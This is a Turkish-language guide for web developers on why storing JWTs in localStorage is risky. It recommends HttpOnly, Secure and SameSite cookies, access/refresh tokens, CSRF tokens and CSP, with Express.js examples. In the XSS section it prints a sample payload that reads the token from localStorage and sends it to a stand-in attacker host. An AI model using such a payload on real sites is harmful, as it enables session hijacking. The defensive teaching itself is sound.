JWT’leri localStorage’da Saklamak Neden Güvenli Değildir? Web Geliştiricileri İçin Kapsamlı Bir Rehber

JWT’leri localStorage’da Saklamak Neden Güvenli Değildir? Web Geliştiricileri İçin Kapsamlı Bir Rehber

Günümüz web uygulamalarında kullanıcı kimlik doğrulaması (authentication) ve yetkilendirme (authorization) süreçleri, güvenlik açısından kritik öneme sahiptir. JWT’ler (JSON Web Token), bu süreçleri verimli ve ölçeklenebilir bir şekilde yönetmek için popüler bir tercih haline gelmiştir. Ancak, bu token’ların nerede saklanacağı konusu, çoğu geliştiricinin gözden kaçırdığı veya yanlış anladığı temel bir güvenlik riskini barındırır. Web uygulamalarınızın kullanıcı verilerini korumak ve potansiyel saldırılara karşı savunmasız kalmamak için, JWT’leri localStorage‘da saklama alışkanlığınızı bir an önce gözden geçirmeniz gerekmektedir. Bu rehberde, JWT’lerin ne olduğunu, neden localStorage‘ın onlar için uygun bir yer olmadığını ve web uygulamalarınızı güvende tutmak için hangi alternatif yöntemleri kullanmanız gerektiğini adım adım inceleyeceğiz.

JWT Nedir ve Web Kimlik Doğrulamada Nasıl Kullanılır?

JSON Web Token (JWT), web uygulamaları arasında güvenli bir şekilde bilgi alışverişi yapmak için kullanılan kompakt, URL güvenli bir token formatıdır. Genellikle kullanıcı kimlik doğrulamasından sonra istemciye (tarayıcıya) gönderilir ve kullanıcının yetkili istekler yapmasını sağlamak için sonraki tüm API çağrılarında kullanılır. Bir JWT, temelde üç bölümden oluşur: Başlık (Header), Yük (Payload) ve İmza (Signature).

• Başlık (Header): Token türünü (JWT) ve kullanılan şifreleme algoritmasını (örneğin, HS256 veya RS256) belirtir. Genellikle Base64Url ile kodlanmış bir JSON nesnesidir.
• Yük (Payload): Token’ın içerdiği iddiaları (claims) barındırır. Bu iddialar, kullanıcı kimliği (sub), token’ın son kullanma tarihi (exp), verildiği zaman (iat) gibi standart bilgiler veya uygulamaya özel veriler olabilir. Bu bölüm de Base64Url ile kodlanmış bir JSON nesnesidir.
• İmza (Signature): Başlık ve yükün Base64Url kodlanmış hallerinin, sunucuda saklanan gizli bir anahtar (secret key) kullanılarak şifrelenmesiyle oluşturulur. Bu imza, token’ın bütünlüğünü ve kimliğini doğrulamak için kullanılır; yani, token’ın gönderildiği andan itibaren değiştirilmediğini garanti eder.

Bu üç bölüm, noktalarla birleştirilerek xxxxx.yyyyy.zzzzz şeklinde bir JWT dizesi oluşturur. Bir kullanıcı sisteme giriş yaptığında, sunucu kullanıcı bilgilerini doğruladıktan sonra bir JWT oluşturur ve bu token’ı istemciye gönderir. İstemci, sonraki her API isteğinde bu JWT’yi genellikle Authorization başlığında Bearer şemasıyla birlikte sunucuya gönderir. Sunucu, gelen JWT’nin imzasını kendi gizli anahtarıyla doğrulayarak token’ın geçerliliğini ve içeriğinin değiştirilmediğini kontrol eder. Bu yapı, sunucunun her istekte kullanıcı oturum bilgilerini veritabanından kontrol etme ihtiyacını ortadan kaldırarak performansı artırır ve yatay ölçeklenebilirliği kolaylaştırır.

JWT’lerin stateless (durumsuz) yapısı, özellikle mikroservis mimarilerinde ve dağıtık sistemlerde büyük avantajlar sunar. Sunucunun her isteği ayrı ayrı işlemesi ve oturum bilgilerini kendi içinde tutmaması, yük dengeleme ve genel sistem mimarisini basitleştirir. Ancak bu avantajlar, token’ın güvenli bir şekilde saklanması koşuluyla geçerlidir. Aksi takdirde, bu token’lar kötü niyetli kişilerin eline geçtiğinde ciddi güvenlik açıkları yaratabilir.

localStorage’ın Cazibesi ve XSS Tehlikesi: JWT Hırsızlığı Nasıl Gerçekleşir?

Web geliştiricileri arasında JWT’leri localStorage‘da saklamak, basitliği ve kullanım kolaylığı nedeniyle yaygın bir uygulamadır. localStorage, tarayıcıda anahtar-değer çiftleri halinde veri depolamanın kolay bir yolunu sunar. JavaScript üzerinden doğrudan erişilebilir olması, token’ı alıp istek başlıklarına eklemeyi son derece pratik hale getirir. Örneğin, bir kullanıcı giriş yaptıktan sonra sunucudan gelen JWT’yi basitçe şu şekilde saklayabilirsiniz:

localStorage.setItem('accessToken', jwtToken);

Daha sonra, bu token’ı API isteklerinde kullanmak da aynı derecede kolaydır:

const token = localStorage.getItem('accessToken');
fetch('/api/profil', {
    headers: {
        'Authorization': Bearer ${token}
    }
});

Bu kolaylık, maalesef büyük bir güvenlik riskini de beraberinde getirir: XSS (Cross-Site Scripting – Siteler Arası Betik Çalıştırma) saldırıları. XSS, saldırganların web uygulamasına kötü amaçlı istemci tarafı betik (script) enjekte etmesine olanak tanıyan bir tür güvenlik açığıdır. Bu betikler, kullanıcının tarayıcısında, uygulamanın meşru bir parçasıymış gibi çalışır. Eğer uygulamanızda bir XSS güvenlik açığı varsa, saldırganlar bu açığı kullanarak tarayıcınızda kendi JavaScript kodlarını çalıştırabilirler. Ve tahmin edin ne olur? Bu kötü amaçlı betikler, localStorage‘a tam erişime sahiptir!

Bir XSS saldırısı başarılı olduğunda, saldırganın enjekte ettiği JavaScript kodu, kullanıcının localStorage‘ında saklanan JWT’yi kolayca okuyabilir ve bu token’ı kendi kontrolündeki bir sunucuya gönderebilir. Token ele geçirildiğinde, saldırgan bu token’ı kullanarak meşru kullanıcı gibi oturum açabilir ve kullanıcının yetkili olduğu tüm işlemleri gerçekleştirebilir. Bu durum, kullanıcının hesap bilgilerinin çalınmasından, finansal işlemlerin yapılmasına, hatta diğer kullanıcılara yönelik saldırıların başlatılmasına kadar geniş bir yelpazede ciddi sonuçlara yol açabilir. Örneğin, bir forum uygulamasında, kullanıcıların yorumlarında HTML etiketlerine izin verilmesi ve yeterli sanitizasyon (temizleme) yapılmaması, bir saldırganın aşağıdaki gibi bir payload (yük) enjekte etmesine neden olabilir:

<script>
  const stolenToken = localStorage.getItem('accessToken');
  fetch('https://saldirgan.com/log', {
    method: 'POST',
    body: JSON.stringify({ token: stolenToken }),
    headers: { 'Content-Type': 'application/json' }
  });
</script>

Bu senaryoda, saldırganın kodu, localStorage‘dan accessToken‘ı çalar ve kendi sunucusuna gönderir. Kullanıcı, kötü amaçlı yorumu içeren sayfayı ziyaret ettiğinde, token’ı otomatik olarak saldırganın eline geçer. Bu, modern web uygulamaları için kabul edilemez bir risktir ve localStorage‘ın JWT saklama için neden uygun olmadığını açıkça ortaya koyar. Güvenlik, kolaylıktan önce gelmelidir ve bu tür bir risk, alternatif çözümlerin araştırılmasını zorunlu kılar.

Güvenli Alternatifler: JWT’leri Nerede Saklamalıyız?

localStorage‘ın XSS saldırılarına karşı savunmasızlığı göz önüne alındığında, JWT’leri saklamak için daha güvenli alternatiflere yönelmek kaçınılmazdır. En yaygın ve önerilen yöntem, JWT’leri HttpOnly ve Secure işaretleriyle birlikte çerezlerde (cookies) saklamaktır. Bu yaklaşım, tarayıcı tabanlı saldırılara karşı önemli ölçüde daha yüksek bir koruma sağlar.

Çerezler, HTTP protokolünün bir parçasıdır ve sunucu tarafından ayarlanır. Özellikle HttpOnly işaretiyle ayarlandığında, bu çerezlere JavaScript kodu üzerinden erişilemez. Bu, bir XSS saldırısı başarılı olsa bile, saldırganın enjekte ettiği kötü amaçlı betiğin çerezdeki JWT’yi okuyamayacağı anlamına gelir. Dolayısıyla, localStorage‘da karşılaşılan temel güvenlik açığı bu yöntemle büyük ölçüde kapatılmış olur.

HttpOnly‘nin yanı sıra, çerezlerin güvenliğini artırmak için başka önemli işaretler de vardır:

• Secure: Bu işaretle ayarlanmış çerezler, yalnızca HTTPS bağlantıları üzerinden gönderilir. Bu, token’ın ağ üzerinde şifrelenmemiş (plain text) olarak yakalanmasını (man-in-the-middle saldırıları) engeller. Tüm modern web uygulamaları HTTPS kullanmalı ve bu işareti her zaman etkinleştirmelidir.
• SameSite: Bu işaret, çerezlerin siteler arası isteklerde nasıl gönderileceğini kontrol eder ve özellikle CSRF (Cross-Site Request Forgery – Siteler Arası İstek Sahtekarlığı) saldırılarına karşı koruma sağlar. Üç ana değeri vardır:
  • Strict: Çerezler yalnızca aynı siteye yapılan isteklerde gönderilir. En güvenli seçenektir ancak bazı durumlarda kullanıcı deneyimini etkileyebilir (örneğin, bir e-posta bildirimindeki bağlantıya tıklandığında).
  • Lax: Çerezler yalnızca aynı siteye yapılan isteklerde ve bazı üst düzey navigasyon isteklerinde (örneğin, bir bağlantıya tıklama) gönderilir. Çoğu durum için iyi bir denge sunar.
  • None: Çerezler tüm siteler arası isteklerde gönderilir. Bu değeri kullanırken Secure işareti zorunludur ve CSRF token’ları gibi ek koruma mekanizmalarına ihtiyaç duyulur.

Genellikle, bir kimlik doğrulama sistemi için iki token stratejisi önerilir: kısa ömürlü bir Erişim Token’ı (Access Token) ve daha uzun ömürlü bir Yenileme Token’ı (Refresh Token). Erişim token’ı, kullanıcıya belirli bir süre (örneğin 15 dakika) boyunca kaynaklara erişim yetkisi verir ve API isteklerinde kullanılır. Bu token, HttpOnly ve Secure işaretleriyle birlikte bir çerezde saklanabilir. Yenileme token’ı ise, erişim token’ı süresi dolduğunda yeni bir erişim token’ı almak için kullanılır. Bu token, genellikle daha uzun bir süre (örneğin birkaç gün veya hafta) geçerlidir ve yine HttpOnly, Secure ve SameSite=Lax işaretleriyle birlikte bir çerezde saklanmalıdır.

Bu iki token stratejisi, saldırgan bir erişim token’ını ele geçirse bile, token’ın kısa ömrü nedeniyle zarar potansiyelini sınırlar. Ayrıca, yenileme token’ı yalnızca yeni bir erişim token’ı almak için kullanıldığından ve doğrudan kaynaklara erişim sağlamadığından, çalınması durumunda bile doğrudan veri erişimi sağlamaz. Güvenlik, katmanlı bir yaklaşımla sağlanır ve HttpOnly çerezler bu katmanların temelini oluşturur. Diğer bir alternatif olan sessionStorage, tarayıcı sekmesi kapatıldığında veriyi siler ve XSS’e karşı localStorage ile benzer riskler taşır, bu yüzden o da genellikle önerilmez. Bellek içi (in-memory) depolama ise her sayfa yenilemesinde kullanıcının tekrar giriş yapmasını gerektireceği için kullanıcı deneyimini olumsuz etkiler ve sadece çok kısa ömürlü, hassas olmayan veriler için düşünülebilir.

HttpOnly Çerezlerle Güvenli Kimlik Doğrulama Adımları

JWT’leri HttpOnly çerezlerde güvenli bir şekilde saklamak, hem backend hem de frontend tarafında belirli adımların uygulanmasını gerektirir. Bu yaklaşım, token’ların JavaScript tarafından doğrudan erişimini engelleyerek XSS saldırılarına karşı önemli bir savunma katmanı oluşturur.

Backend Tarafı: Çerezleri Ayarlama

Kimlik doğrulama başarılı olduğunda, sunucu hem erişim token’ını hem de yenileme token’ını oluşturmalı ve bunları HTTP yanıt başlıklarında (Set-Cookie) istemciye göndermelidir. İşte Node.js ve Express.js kullanarak bir örnek:

const express = require('express');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.json());
app.use(cookieParser());

const JWT_SECRET = 'cokGizliBirAnahtar'; // Gerçek uygulamada .env dosyasından alınmalı!
const REFRESH_SECRET = 'dahaDaGizliBirAnahtar'; // Gerçek uygulamada .env dosyasından alınmalı!

app.post('/api/login', (req, res) => {
    const { username, password } = req.body;

    // Kullanıcı doğrulama (örneğin veritabanından)
    if (username === 'test' && password === 'password') {
        const accessToken = jwt.sign({ username }, JWT_SECRET, { expiresIn: '15m' });
        const refreshToken = jwt.sign({ username }, REFRESH_SECRET, { expiresIn: '7d' });

        // Erişim token'ını HttpOnly çerezde ayarla
        res.cookie('accessToken', accessToken, {
            httpOnly: true,
            secure: process.env.NODE_ENV === 'production', // Sadece HTTPS'de
            sameSite: 'Lax', // CSRF koruması için
            maxAge: 15 * 60 * 1000 // 15 dakika
        });

        // Yenileme token'ını HttpOnly çerezde ayarla
        res.cookie('refreshToken', refreshToken, {
            httpOnly: true,
            secure: process.env.NODE_ENV === 'production',
            sameSite: 'Lax',
            maxAge: 7 * 24 * 60 * 60 * 1000 // 7 gün
        });

        res.status(200).json({ message: 'Giriş başarılı!' });
    } else {
        res.status(401).json({ message: 'Geçersiz kimlik bilgileri.' });
    }
});

app.listen(3000, () => console.log('Sunucu 3000 portunda çalışıyor.'));

Yukarıdaki örnekte, accessToken ve refreshToken adında iki çerez ayarlanır. Her ikisi de httpOnly: true olarak işaretlenmiştir, bu da JavaScript’in bu çerezlere erişmesini engeller. secure: true, çerezlerin yalnızca HTTPS üzerinden gönderilmesini sağlar. sameSite: 'Lax' ise CSRF saldırılarına karşı bir miktar koruma sağlar.

Frontend Tarafı: Çerezlerin Kullanımı

Frontend tarafında, HttpOnly çerezleri kullanmak için özel bir JavaScript koduna ihtiyaç duymazsınız. Tarayıcı, sunucudan gelen Set-Cookie başlıklarını otomatik olarak işler ve çerezleri her sonraki isteğe otomatik olarak ekler. Bu, developer’lar için büyük bir kolaylık ve güvenlik avantajıdır. Örneğin, bir API çağrısı yaparken:

fetch('/api/profil', {
    method: 'GET',
    // Tarayıcı, 'accessToken' çerezini otomatik olarak ekleyecektir.
    // credentials: 'include' ayarı ile çerezlerin gönderildiğinden emin olun.
    credentials: 'include'
})
.then(response => response.json())
.then(data => console.log('Profil verileri:', data))
.catch(error => console.error('Hata:', error));

Burada önemli olan, fetch API’si veya Axios gibi HTTP istemcileri kullanırken credentials: 'include' seçeneğini belirtmektir. Bu, tarayıcının istekle birlikte çerezleri göndermesini sağlar. Aksi takdirde, çerezler varsayılan olarak siteler arası isteklerde gönderilmeyebilir. Sunucu, gelen isteklerdeki çerezleri otomatik olarak ayrıştırabilir ve JWT’yi doğrulayarak kullanıcının yetkilendirmesini kontrol edebilir.

Erişim token’ının süresi dolduğunda, API çağrıları 401 Unauthorized hatası dönecektir. Bu durumda, frontend, sunucuya yeni bir erişim token’ı almak için bir yenileme isteği göndermelidir. Bu istek, refreshToken çerezini otomatik olarak içerecektir. Sunucu, yenileme token’ını doğrulayıp yeni bir erişim token’ı oluşturarak yanıtında yeni bir accessToken çerezi ayarlayabilir. Bu döngü, kullanıcının oturumunun güvenli bir şekilde devam etmesini sağlar.

Ek Güvenlik Katmanları: XSS ve CSRF’ye Karşı Savunma

HttpOnly çerezler, JWT’leri XSS saldırılarına karşı korumak için güçlü bir temel sağlasa da, web uygulaması güvenliği çok katmanlı bir yaklaşım gerektirir. Yalnızca token saklama yöntemini değiştirmek yeterli değildir; uygulamanızı diğer yaygın saldırı türlerine karşı da güçlendirmeniz gerekir. İşte ek güvenlik katmanları:

1. CSRF (Cross-Site Request Forgery) Koruması

SameSite çerez işareti, CSRF saldırılarına karşı iyi bir ilk savunma hattı olsa da, tam koruma sağlamaz. Özellikle SameSite=Lax veya None kullanıldığında, saldırganlar kullanıcı adına istekler göndermeye çalışabilir. Bu nedenle, CSRF token’ları kullanmak kritik öneme sahiptir. CSRF token’ları, sunucu tarafından her oturum için benzersiz olarak oluşturulan ve istemciye gönderilen gizli, tek kullanımlık bir değerdir. İstemci, hassas işlemler (parola değiştirme, para transferi vb.) yaparken bu token’ı istek başlığında veya form verisinde sunucuya geri gönderir. Sunucu, gelen token’ı kendi oluşturduğu token ile karşılaştırır. Eşleşmezse, isteği reddeder. Bu, saldırganın sahte bir istek oluşturmasını engeller çünkü saldırgan, geçerli CSRF token’ını bilemez.

2. İçerik Güvenliği Politikası (Content Security Policy – CSP)

CSP, XSS saldırılarının etkisini önemli ölçüde azaltmaya yardımcı olan güçlü bir güvenlik mekanizmasıdır. Bir HTTP başlığı olarak uygulanan CSP, tarayıcıya hangi kaynaklardan (betikler, stil sayfaları, görseller vb.) içerik yükleyebileceğini söyler. Örneğin, yalnızca kendi alan adınızdan betik yüklemeye izin veren bir CSP kuralı, saldırganın dış bir kaynaktan kötü amaçlı betik enjekte etmesini engeller. Bu, XSS saldırısının çalışmasını zorlaştırır, çünkü saldırganın kodu tarayıcı tarafından güvenilmeyen bir kaynak olarak algılanıp engellenecektir.

3. Giriş Doğrulama ve Çıktı Temizleme (Input Validation and Output Sanitization)

Bu, XSS saldırılarını önlemenin en temel ve en önemli yollarından biridir. Kullanıcılardan gelen tüm girişler (form alanları, URL parametreleri vb.) sunucu tarafında mutlaka doğrulanmalı (validate) ve temizlenmelidir (sanitize). Geçerli veriler dışında hiçbir şeye izin verilmemelidir. Örneğin, bir metin alanına HTML etiketleri veya JavaScript kodları girildiğinde, bu girişler kaydedilmeden veya görüntülenmeden önce uygun şekilde kaçış karakterlerine dönüştürülmeli veya tamamen kaldırılmalıdır. Bu, saldırganın kötü amaçlı betikleri uygulamanıza enjekte etmesini engeller.

4. Düzenli Güvenlik Denetimleri ve Penetrasyon Testleri

Uygulamanızın güvenlik duruşunu düzenli olarak değerlendirmek, potansiyel zayıflıkları ortaya çıkarmak için hayati öneme sahiptir. Güvenlik denetimleri ve penetrasyon testleri, uygulamanızın gerçek dünya saldırılarına karşı ne kadar dirençli olduğunu anlamanıza yardımcı olur. Bu testler, manuel incelemelerden otomatik tarayıcılara kadar çeşitli yöntemleri içerebilir ve güvenlik açıklarını üretim ortamına ulaşmadan önce tespit etmenizi sağlar.

Bu ek güvenlik katmanları, HttpOnly çerezlerle birlikte kullanıldığında, web uygulamanızın genel güvenlik seviyesini önemli ölçüde artırır. Unutmayın, güvenlik tek bir çözümle değil, kapsamlı ve sürekli bir çabayla sağlanır.

Sonuç: Güvenli Web Uygulamaları İçin Temel İlkeler

Web geliştirme dünyasında güvenlik, asla göz ardı edilmemesi gereken bir önceliktir. JWT’lerin localStorage‘da saklanması, kolaylık sağlasa da, web uygulamalarınızı XSS gibi yaygın ve yıkıcı saldırılara karşı savunmasız bırakır. Bu rehberde detaylarıyla açıkladığımız gibi, localStorage‘a JavaScript kodu üzerinden doğrudan erişim imkanı, kötü niyetli betiklerin kullanıcı token’larını kolayca çalmasına olanak tanır ve bu durum, kullanıcı hesaplarının ele geçirilmesiyle ciddi güvenlik ihlallerine yol açabilir.

Güvenli bir yaklaşım benimsemek için, JWT’leri HttpOnly, Secure ve SameSite işaretleriyle birlikte çerezlerde saklamanız gerekmektedir. Bu çerezler, JavaScript tarafından erişilemez oldukları için XSS saldırılarına karşı doğal bir koruma sağlar ve yalnızca HTTPS üzerinden gönderildikleri için ağ dinlemesi (eavesdropping) riskini azaltır. Ayrıca, kısa ömürlü erişim token’ları ve uzun ömürlü yenileme token’ları stratejisini benimseyerek, potansiyel bir token hırsızlığının etkisini sınırlayabilirsiniz.

Ancak, güvenlik yolculuğu sadece token saklama yöntemini değiştirmekle bitmez. Uygulamanızın genel güvenlik duruşunu güçlendirmek için CSRF koruması, sağlam bir İçerik Güvenliği Politikası (CSP) uygulaması ve tüm kullanıcı girişlerinin kapsamlı bir şekilde doğrulanması ve temizlenmesi gibi ek önlemleri de hayata geçirmelisiniz. Düzenli güvenlik denetimleri ve penetrasyon testleri de, potansiyel zayıflıkları proaktif bir şekilde tespit etmenizi sağlayacaktır.

Unutmayın, web geliştiricisi olarak sorumluluğumuz, sadece çalışan değil, aynı zamanda güvenli uygulamalar inşa etmektir. Kullanıcılarımızın verilerini korumak ve onlara güvenli bir dijital deneyim sunmak, mesleğimizin temel etik ilkelerindendir. Bu rehberdeki bilgileri uygulamalarınıza entegre ederek, çok daha sağlam ve saldırılara karşı dirençli web uygulamaları geliştirebilirsiniz.

Sıkça Sorulan Sorular

1. JWT’leri localStorage‘da saklamak gerçekten bu kadar tehlikeli mi?

   Evet, oldukça tehlikelidir. Uygulamanızda küçük bir XSS güvenlik açığı bile olsa, saldırganlar localStorage‘daki JWT’nizi kolayca çalabilir ve kullanıcı hesabınızın kontrolünü ele geçirebilirler. Bu, kullanıcı verilerinin çalınmasına veya kötüye kullanılmasına yol açabilir.

2. HttpOnly çerezler XSS’e karşı tam koruma sağlar mı?

   HttpOnly çerezler, XSS saldırganlarının JavaScript aracılığıyla çerezlere erişmesini engeller, bu da token hırsızlığını büyük ölçüde zorlaştırır. Ancak, XSS saldırısı uygulamanızdaki diğer hassas bilgilere (örneğin, DOM üzerinden görüntülenen veriler) yine de erişebilir. Bu nedenle, HttpOnly çerezler tek başına yeterli değildir; kapsamlı XSS koruması için giriş doğrulaması ve CSP gibi ek önlemler de gereklidir.

3. CSRF saldırılarına karşı HttpOnly çerezler yeterli midir?

   Hayır, HttpOnly çerezler CSRF saldırılarına karşı tek başına yeterli değildir. SameSite çerez işareti (özellikle Lax veya Strict) bir miktar koruma sağlar, ancak en güvenli yaklaşım, SameSite ile birlikte CSRF token’ları kullanmaktır. CSRF token’ları, saldırganların kullanıcı adına sahte istekler göndermesini engeller.

4. Erişim token’ı ve yenileme token’ı stratejisi neden öneriliyor?

   Bu strateji, güvenlik ve kullanılabilirlik arasında bir denge sağlar. Kısa ömürlü erişim token’ları, çalınmaları durumunda zarar potansiyelini sınırlar. Uzun ömürlü yenileme token’ları ise kullanıcının sık sık yeniden giriş yapma ihtiyacını ortadan kaldırır. Yenileme token’ı da HttpOnly çerezde saklandığında, güvenliği daha da artar.

5. Frontend’den JWT’yi nasıl yönetmeliyim eğer HttpOnly çerezde ise?

   Frontend’den HttpOnly çerezlere doğrudan JavaScript ile erişemezsiniz, bu da zaten güvenlik amacına hizmet eder. Tarayıcı, sunucuya yapılan her isteğe bu çerezleri otomatik olarak ekler. Eğer bir API çağrısı 401 Unauthorized döndürürse, bu genellikle erişim token’ının süresinin dolduğu anlamına gelir. Bu durumda, yeni bir erişim token’ı almak için sunucuya özel bir yenileme (refresh) isteği göndermelisiniz. Bu istek, tarayıcının otomatik olarak ekleyeceği yenileme token’ını içerecektir.

#WebGüvenliği #JWT #localStorage #XSS #HttpOnly #WebGeliştirme #SiberGüvenlik #FrontendGüvenliği #BackendGüvenliği